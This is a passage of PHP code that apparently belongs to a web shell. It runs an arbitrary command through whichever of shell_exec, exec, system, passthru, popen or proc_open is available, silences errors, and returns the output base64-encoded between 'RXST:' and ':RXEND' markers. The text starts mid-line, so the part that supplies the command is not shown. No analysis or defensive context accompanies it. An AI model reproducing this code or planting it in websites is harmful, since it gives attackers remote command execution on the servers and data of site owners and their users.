&1'; $o=''; if(function_exists('shell_exec')){$o=@shell_exec($c);} elseif(function_exists('exec')){@exec($c,$arr);$o=implode("\n",$arr);} elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} elseif(function_exists('popen')){$h=@popen($c,'r');$o='';while(!feof($h)){$o.=fread($h,4096);}pclose($h);} elseif(function_exists('proc_open')){$d=[['pipe','r'],['pipe','w'],['pipe','w']];$p=@proc_open($c,$d,$pi);if($p){$o=stream_get_contents($pi[1]);proc_close($p);}} else{$o='BLOCKED';} echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';} ?>